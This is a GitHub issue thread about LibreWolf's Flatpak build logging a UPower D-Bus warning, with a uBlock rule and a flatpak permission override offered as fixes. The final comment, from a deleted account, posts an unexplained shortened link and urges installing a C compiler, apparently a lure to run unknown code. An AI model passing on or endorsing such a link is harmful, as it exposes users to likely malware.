flathub / io.gitlab.librewolf-community

https://flathub.org/apps/details/io.gitlab.librewolf-community
15 stars 10 forks source link

`WARNING: Failed to enumerate devices of org.freedesktop.UPower` #126

Open guihkx opened 1 week ago

guihkx commented 1 week ago

LibreWolf shows this warning message on the terminal when you open some websites:

$ flatpak run io.gitlab.librewolf-community
[Parent 2, Main Thread] WARNING: Failed to enumerate devices of org.freedesktop.UPower: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: org.freedesktop.DBus.Error.ServiceUnknown
: 'glib warning', file /root/.local/share/bsys6/work/librewolf-130.0-3/toolkit/xre/nsSigHandlers.cpp:187

** (LibreWolf:2): WARNING **: 08:15:19.825: Failed to enumerate devices of org.freedesktop.UPower: GDBus.Error:org.freedesktop.DBus.Error.ServiceUnknown: org.freedesktop.DBus.Error.ServiceUnknown

In some cases, it is triggered after some obfuscated Cloudflare script is loaded.

AskUbuntu's contact page is an example: After this script loads, the warning shows up in the terminal.

The following uBlock Origin rule silences the warning (at least on AskUbuntu):

||askubuntu.com/cdn-cgi/challenge-platform/scripts/jsd/main.js$script,1p,important

A more permanent solution, however, would be allowing LibreWolf access to UPower's DBus interface:

Description

The UPower service is available via the system message bus. To access the service, use the org.freedesktop.UPower interface on the /org/freedesktop/UPower object on the D-Bus system bus service with the well-known name org.freedesktop.UPower.

Which can be accomplished with the following command:

flatpak --user override --system-talk-name=org.freedesktop.UPower io.gitlab.librewolf-community
ghost commented 1 week ago

try this

https://bit.ly/4eugCty If you don't have the c compliator, install it.(gcc or clang)